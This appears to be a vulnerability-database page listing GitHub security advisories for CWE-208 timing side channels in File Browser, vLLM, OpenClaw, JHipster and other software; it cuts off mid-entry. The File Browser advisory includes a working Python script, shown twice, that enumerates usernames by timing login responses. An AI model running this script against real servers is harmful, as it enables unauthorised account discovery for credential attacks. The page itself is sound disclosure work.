CWE-208
AllowedObservable Timing Discrepancy
Abstraction: Base · Status: Incomplete
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
367 vulnerabilities reference this CWE, most recent first.
GHSA-43MM-M3H2-3PRC
Vulnerability from github – Published: 2026-01-21 01:02 – Updated: 2026-01-21 01:02Summary
The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.
Details
The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.
This difference in execution path creates a measurable timing discrepancy:
Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).
In auth/json.go:
// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
return nil, os.ErrPermission
}
PoC
The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.
import requests
import time
import random
import string
import statistics
import argparse
CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"
def generate_random_user(length=10):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def measure_response_time(url, username):
start = time.perf_counter()
try:
requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
except Exception as e:
print(f"[!] Connection error: {e}")
return 0
return time.perf_counter() - start
def calibrate(url):
print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
times = []
print(" Progress: ", end="", flush=True)
for _ in range(CALIBRATION_SAMPLES):
random_user = generate_random_user()
elapsed = measure_response_time(url, random_user)
times.append(elapsed)
print(".", end="", flush=True)
print(" OK")
mean = statistics.mean(times)
try:
stdev = statistics.stdev(times)
except:
stdev = 0.0
threshold = mean + (5 * stdev) + 0.005
print(f" - Mean time (invalid users): {mean:.4f}s")
print(f" - Standard deviation: {stdev:.6f}s")
print(f" - Threshold set: {threshold:.4f}s")
return threshold
def load_wordlist(wordlist_path):
try:
with open(wordlist_path, 'r', encoding='utf-8') as f:
users = [line.strip() for line in f if line.strip()]
return users
except FileNotFoundError:
print(f"[!] Wordlist not found: {wordlist_path}")
exit(1)
except Exception as e:
print(f"[!] Error reading wordlist: {e}")
exit(1)
def timing_attack(url, threshold, users):
print(f"\n[*] Testing {len(users)} users from wordlist...")
print("-" * 50)
print(f"{'Username':<15} | {'Time':<10} | {'Status'}")
print("-" * 50)
found = []
for user in users:
elapsed = measure_response_time(url, user)
if elapsed > threshold:
status = ">> VALID <<"
found.append(user)
else:
status = "invalid"
print(f"{user:<15} | {elapsed:.4f}s | {status}")
return found
def main():
parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')
parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')
parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
args = parser.parse_args()
target_url = args.url.rstrip('/') + ENDPOINT
print("=== FILEBROWSER TIMING ATTACK ===\n")
print(f"[*] Target: {target_url}")
print(f"[*] Wordlist: {args.wordlist}")
try:
threshold = calibrate(target_url)
users = load_wordlist(args.wordlist)
print(f"\n[*] Loaded {len(users)} users from wordlist")
print("[*] Starting attack...")
valid_users = timing_attack(target_url, threshold, users)
print("\n" + "="*50)
print(f"SUMMARY: {len(valid_users)} valid users found")
if valid_users:
for u in valid_users:
print(f" -> {u}")
print("="*50)
except KeyboardInterrupt:
print("\n[!] Attack cancelled")
if __name__ == "__main__":
main()
For example, in this case, I have guchihacker as the only valid user in the application.
I am going to use the exploit to list valid users.
As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.
Impact
An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).
I remain at your disposal for any questions you may have on this matter. Thank you very much.
Sincerely, Felix Sanchez (GUCHI)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.55.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23849"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:02:17Z",
"nvd_published_at": "2026-01-19T21:15:51Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If \u0027err != nil\u0027 (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If \u0027err == nil\u0027 (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n return \u0027\u0027.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n start = time.perf_counter()\n try:\n requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n except Exception as e:\n print(f\"[!] Connection error: {e}\")\n return 0\n return time.perf_counter() - start\n\ndef calibrate(url):\n print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n times = []\n \n print(\" Progress: \", end=\"\", flush=True)\n for _ in range(CALIBRATION_SAMPLES):\n random_user = generate_random_user()\n elapsed = measure_response_time(url, random_user)\n times.append(elapsed)\n print(\".\", end=\"\", flush=True)\n print(\" OK\")\n \n mean = statistics.mean(times)\n try:\n stdev = statistics.stdev(times)\n except:\n stdev = 0.0\n \n threshold = mean + (5 * stdev) + 0.005\n \n print(f\" - Mean time (invalid users): {mean:.4f}s\")\n print(f\" - Standard deviation: {stdev:.6f}s\")\n print(f\" - Threshold set: {threshold:.4f}s\")\n \n return threshold\n\ndef load_wordlist(wordlist_path):\n try:\n with open(wordlist_path, \u0027r\u0027, encoding=\u0027utf-8\u0027) as f:\n users = [line.strip() for line in f if line.strip()]\n return users\n except FileNotFoundError:\n print(f\"[!] Wordlist not found: {wordlist_path}\")\n exit(1)\n except Exception as e:\n print(f\"[!] Error reading wordlist: {e}\")\n exit(1)\n\ndef timing_attack(url, threshold, users):\n print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n print(\"-\" * 50)\n print(f\"{\u0027Username\u0027:\u003c15} | {\u0027Time\u0027:\u003c10} | {\u0027Status\u0027}\")\n print(\"-\" * 50)\n \n found = []\n \n for user in users:\n elapsed = measure_response_time(url, user)\n \n if elapsed \u003e threshold:\n status = \"\u003e\u003e VALID \u003c\u003c\"\n found.append(user)\n else:\n status = \"invalid\"\n \n print(f\"{user:\u003c15} | {elapsed:.4f}s | {status}\")\n \n return found\n\ndef main():\n parser = argparse.ArgumentParser(description=\u0027FileBrowser timing attack exploit\u0027)\n parser.add_argument(\u0027-u\u0027, \u0027--url\u0027, required=True, help=\u0027Target URL (e.g., http://localhost:8080)\u0027)\n parser.add_argument(\u0027-w\u0027, \u0027--wordlist\u0027, required=True, help=\u0027Path to wordlist file\u0027)\n args = parser.parse_args()\n \n target_url = args.url.rstrip(\u0027/\u0027) + ENDPOINT\n \n print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n print(f\"[*] Target: {target_url}\")\n print(f\"[*] Wordlist: {args.wordlist}\")\n \n try:\n threshold = calibrate(target_url)\n users = load_wordlist(args.wordlist)\n print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n print(\"[*] Starting attack...\")\n \n valid_users = timing_attack(target_url, threshold, users)\n \n print(\"\\n\" + \"=\"*50)\n print(f\"SUMMARY: {len(valid_users)} valid users found\")\n if valid_users:\n for u in valid_users:\n print(f\" -\u003e {u}\")\n print(\"=\"*50)\n \n except KeyboardInterrupt:\n print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n\u003cimg width=\"842\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3\" /\u003e\n\nI am going to use the exploit to list valid users.\n\u003cimg width=\"628\" height=\"716\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa\" /\u003e\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., \u0027admin\u0027, \u0027root\u0027, employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)",
"id": "GHSA-43mm-m3h2-3prc",
"modified": "2026-01-21T01:02:17Z",
"published": "2026-01-21T01:02:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23849"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login"
}
GHSA-45GQ-Q4XH-CP53
Vulnerability from github – Published: 2024-01-30 20:56 – Updated: 2024-02-08 22:48Impact
It is possible to find out usernames from the response time of login requests. This could aid attackers in credential attacks
Workarounds
No
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "vantage6-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-21671"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T20:56:48Z",
"nvd_published_at": "2024-01-30T16:15:48Z",
"severity": "LOW"
},
"details": "### Impact\nIt is possible to find out usernames from the response time of login requests. This could aid attackers in credential attacks\n\n### Workarounds\nNo\n",
"id": "GHSA-45gq-q4xh-cp53",
"modified": "2024-02-08T22:48:56Z",
"published": "2024-01-30T20:56:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vantage6/vantage6/security/advisories/GHSA-45gq-q4xh-cp53"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21671"
},
{
"type": "WEB",
"url": "https://github.com/vantage6/vantage6/commit/389f416c445da4f2438c72f34c3b1084485c4e30"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/vantage6/PYSEC-2024-31.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/vantage6/vantage6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "vantage6 vulnerable to username timing attack"
}
GHSA-46HF-65MW-6FG3
Vulnerability from github – Published: 2025-11-18 06:30 – Updated: 2025-11-18 06:30Observable Timing Discrepancy (CWE-208) in HBUS devices may allow an attacker with physical access to the device to extract device-specific keys, potentially compromising further site security.
This issue affects Command Centre Server:
9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)), all versions of 9.00 and prior.
{
"affected": [],
"aliases": [
"CVE-2025-52457"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-18T04:15:44Z",
"severity": "MODERATE"
},
"details": "Observable Timing Discrepancy (CWE-208) in HBUS devices may allow an attacker with physical access to the device to extract device-specific keys, potentially compromising further site security. \n\nThis issue affects Command Centre Server:\n\n9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)),\u00a0all versions of 9.00 and prior.",
"id": "GHSA-46hf-65mw-6fg3",
"modified": "2025-11-18T06:30:25Z",
"published": "2025-11-18T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52457"
},
{
"type": "WEB",
"url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2025-52457"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47Q7-97XP-M272
Vulnerability from github – Published: 2026-03-02 22:43 – Updated: 2026-03-06 01:05Summary
OpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.
In practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.
Affected Packages / Versions
- openclaw (npm): < 2026.2.12
Patched Versions
- openclaw (npm): >= 2026.2.12
Mitigations
- Upgrade to openclaw >= 2026.2.12.
- If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.
Fix Commit(s)
- 113ebfd6a23c4beb8a575d48f7482593254506ec
OpenClaw thanks @akhmittra for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28475"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:43:10Z",
"nvd_published_at": "2026-03-05T22:16:21Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nOpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.\n\nIn practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.\n\n## Affected Packages / Versions\n\n- openclaw (npm): \u003c 2026.2.12\n\n## Patched Versions\n\n- openclaw (npm): \u003e= 2026.2.12\n\n## Mitigations\n\n- Upgrade to openclaw \u003e= 2026.2.12.\n- If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.\n\n## Fix Commit(s)\n\n- 113ebfd6a23c4beb8a575d48f7482593254506ec\n\nOpenClaw thanks @akhmittra for reporting.",
"id": "GHSA-47q7-97xp-m272",
"modified": "2026-03-06T01:05:10Z",
"published": "2026-03-02T22:43:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-47q7-97xp-m272"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28475"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/113ebfd6a23c4beb8a575d48f7482593254506ec"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-timing-attack-via-hook-token-comparison"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Config writes could persist resolved ${VAR} secrets to disk"
}
GHSA-4GPM-R23H-GPRW
Vulnerability from github – Published: 2023-10-31 03:31 – Updated: 2023-11-08 18:41JHipster generator-jhipster before 2.23.0 allows a timing attack against validateToken due to a string comparison that stops at the first character that is different. Attackers can guess tokens by brute forcing one character at a time and observing the timing. This of course drastically reduces the search space to a linear amount of guesses based on the token length times the possible characters.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "generator-jhipster"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-20110"
],
"database_specific": {
"cwe_ids": [
"CWE-208",
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-31T19:30:57Z",
"nvd_published_at": "2023-10-31T03:15:07Z",
"severity": "HIGH"
},
"details": "JHipster generator-jhipster before 2.23.0 allows a timing attack against validateToken due to a string comparison that stops at the first character that is different. Attackers can guess tokens by brute forcing one character at a time and observing the timing. This of course drastically reduces the search space to a linear amount of guesses based on the token length times the possible characters.",
"id": "GHSA-4gpm-r23h-gprw",
"modified": "2023-11-08T18:41:14Z",
"published": "2023-10-31T03:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-20110"
},
{
"type": "WEB",
"url": "https://github.com/jhipster/generator-jhipster/issues/2095"
},
{
"type": "WEB",
"url": "https://github.com/jhipster/generator-jhipster/commit/79fe5626cb1bb80f9ac86cf46980748e65d2bdbc"
},
{
"type": "WEB",
"url": "https://github.com/jhipster/generator-jhipster/commit/7c49ab3d45dc4921b831a2ca55fb1e2a2db1ee25"
},
{
"type": "PACKAGE",
"url": "https://github.com/jhipster/generator-jhipster"
},
{
"type": "WEB",
"url": "https://github.com/jhipster/generator-jhipster/compare/v2.22.0...v2.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "generator-jhipster allows a timing attack against validateToken due to a string comparison that stops at the first character"
}
GHSA-4QJH-9FV9-R85R
Vulnerability from github – Published: 2025-05-28 18:02 – Updated: 2025-06-27 21:06This issue arises from the prefix caching mechanism, which may expose the system to a timing side-channel attack.
Description
When a new prompt is processed, if the PageAttention mechanism finds a matching prefix chunk, the prefill process speeds up, which is reflected in the TTFT (Time to First Token). Our tests revealed that the timing differences caused by matching chunks are significant enough to be recognized and exploited.
For instance, if the victim has submitted a sensitive prompt or if a valuable system prompt has been cached, an attacker sharing the same backend could attempt to guess the victim's input. By measuring the TTFT based on prefix matches, the attacker could verify if their guess is correct, leading to potential leakage of private information.
Unlike token-by-token sharing mechanisms, vLLM’s chunk-based approach (PageAttention) processes tokens in larger units (chunks). In our tests, with chunk_size=2, the timing differences became noticeable enough to allow attackers to infer whether portions of their input match the victim's prompt at the chunk level.
Environment
- GPU: NVIDIA A100 (40G)
- CUDA: 11.8
- PyTorch: 2.3.1
- OS: Ubuntu 18.04
- vLLM: v0.5.1 Configuration: We launched vLLM using the default settings and adjusted chunk_size=2 to evaluate the TTFT.
Leakage
We conducted our tests using LLaMA2-70B-GPTQ on a single device. We analyzed the timing differences when prompts shared prefixes of 2 chunks, and plotted the corresponding ROC curves. Our results suggest that timing differences can be reliably used to distinguish prefix matches, demonstrating a potential side-channel vulnerability.
Results
In our experiment, we analyzed the response time differences between cache hits and misses in vLLM's PageAttention mechanism. Using ROC curve analysis to assess the distinguishability of these timing differences, we observed the following results: - With a 1-token prefix, the ROC curve yielded an AUC value of 0.571, indicating that even with a short prefix, an attacker can reasonably distinguish between cache hits and misses based on response times. - When the prefix length increases to 8 tokens, the AUC value rises significantly to 0.99, showing that the attacker can almost perfectly identify cache hits with a longer prefix.
Fixes
- https://github.com/vllm-project/vllm/pull/17045
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "vllm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46570"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-28T18:02:24Z",
"nvd_published_at": "2025-05-29T17:15:21Z",
"severity": "LOW"
},
"details": "This issue arises from the prefix caching mechanism, which may expose the system to a timing side-channel attack.\n\n## Description\nWhen a new prompt is processed, if the PageAttention mechanism finds a matching prefix chunk, the prefill process speeds up, which is reflected in the TTFT (Time to First Token). Our tests revealed that the timing differences caused by matching chunks are significant enough to be recognized and exploited.\n\nFor instance, if the victim has submitted a sensitive prompt or if a valuable system prompt has been cached, an attacker sharing the same backend could attempt to guess the victim\u0027s input. By measuring the TTFT based on prefix matches, the attacker could verify if their guess is correct, leading to potential leakage of private information.\n\nUnlike token-by-token sharing mechanisms, vLLM\u2019s chunk-based approach (PageAttention) processes tokens in larger units (chunks). In our tests, with chunk_size=2, the timing differences became noticeable enough to allow attackers to infer whether portions of their input match the victim\u0027s prompt at the chunk level.\n\n## Environment\n\n- GPU: NVIDIA A100 (40G)\n- CUDA: 11.8\n- PyTorch: 2.3.1\n- OS: Ubuntu 18.04\n- vLLM: v0.5.1\nConfiguration: We launched vLLM using the default settings and adjusted chunk_size=2 to evaluate the TTFT.\n\n## Leakage\nWe conducted our tests using LLaMA2-70B-GPTQ on a single device. We analyzed the timing differences when prompts shared prefixes of 2 chunks, and plotted the corresponding ROC curves. Our results suggest that timing differences can be reliably used to distinguish prefix matches, demonstrating a potential side-channel vulnerability.\n\u003cimg src=\"https://github.com/user-attachments/assets/db3491e9-02b7-424c-9b6d-56f553b39f2f\" alt=\"roc_curves_combined_block_2\" width=\"400\"/\u003e\n\n\n## Results\nIn our experiment, we analyzed the response time differences between cache hits and misses in vLLM\u0027s PageAttention mechanism. Using ROC curve analysis to assess the distinguishability of these timing differences, we observed the following results:\n- With a 1-token prefix, the ROC curve yielded an AUC value of 0.571, indicating that even with a short prefix, an attacker can reasonably distinguish between cache hits and misses based on response times.\n- When the prefix length increases to 8 tokens, the AUC value rises significantly to 0.99, showing that the attacker can almost perfectly identify cache hits with a longer prefix.\n\n## Fixes\n\n* https://github.com/vllm-project/vllm/pull/17045",
"id": "GHSA-4qjh-9fv9-r85r",
"modified": "2025-06-27T21:06:46Z",
"published": "2025-05-28T18:02:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-4qjh-9fv9-r85r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46570"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/pull/17045"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/commit/77073c77bc2006eb80ea6d5128f076f5e6c6f54f"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-53.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/vllm-project/vllm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Potential Timing Side-Channel Vulnerability in vLLM\u2019s Chunk-Based Prefix Caching"
}
GHSA-4RQG-F28V-3GVX
Vulnerability from github – Published: 2022-03-09 00:00 – Updated: 2025-08-12 12:30A vulnerability has been identified in RUGGEDCOM ROS M2100 (All versions < V5.6.0), RUGGEDCOM ROS RMC8388 devices (All versions < V5.6.0), RUGGEDCOM ROS RS416v2 (All versions < V5.6.0), RUGGEDCOM ROS RS900G (All versions < V5.6.0), RUGGEDCOM ROS RS900G (32M) (All versions < V5.6.0), RUGGEDCOM ROS RSG2100 (32M) V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2100P (All versions < V5.6.0), RUGGEDCOM ROS RSG2100P (32M) V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2288 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2300 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2300P V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2488 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG900 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG920P V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSL910 (All versions < V5.6.0), RUGGEDCOM ROS RST2228 (All versions < V5.6.0), RUGGEDCOM ROS RST916C (All versions < V5.6.0), RUGGEDCOM ROS RST916P (All versions < V5.6.0). A timing attack in a third-party component could make the retrieval of the private key possible, used for encryption of sensitive data. If a threat actor were to exploit this, the data integrity and security could be compromised.
{
"affected": [],
"aliases": [
"CVE-2021-42016"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-08T12:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in RUGGEDCOM ROS M2100 (All versions \u003c V5.6.0), RUGGEDCOM ROS RMC8388 devices (All versions \u003c V5.6.0), RUGGEDCOM ROS RS416v2 (All versions \u003c V5.6.0), RUGGEDCOM ROS RS900G (All versions \u003c V5.6.0), RUGGEDCOM ROS RS900G (32M) (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100 (32M) V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100P (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100P (32M) V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2288 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2300 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2300P V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2488 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG900 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG920P V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSL910 (All versions \u003c V5.6.0), RUGGEDCOM ROS RST2228 (All versions \u003c V5.6.0), RUGGEDCOM ROS RST916C (All versions \u003c V5.6.0), RUGGEDCOM ROS RST916P (All versions \u003c V5.6.0). A timing attack in a third-party component could make the retrieval of the private key possible, used for encryption of sensitive data. If a threat actor were to exploit this, the data integrity and security could be compromised.",
"id": "GHSA-4rqg-f28v-3gvx",
"modified": "2025-08-12T12:30:31Z",
"published": "2022-03-09T00:00:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42016"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-256353.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-256353.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4V4G-726H-XVFV
Vulnerability from github – Published: 2021-04-19 14:59 – Updated: 2023-03-17 17:49Impact
AES_CBC_HMAC_SHA2 Algorithm (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed JWEDecryptionFailed would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).
Patches
A patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are >=3.11.4.
Users should upgrade to ^3.11.4.
Credits
Thanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jose-node-esm-runtime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29445"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208",
"CWE-696"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-16T23:00:41Z",
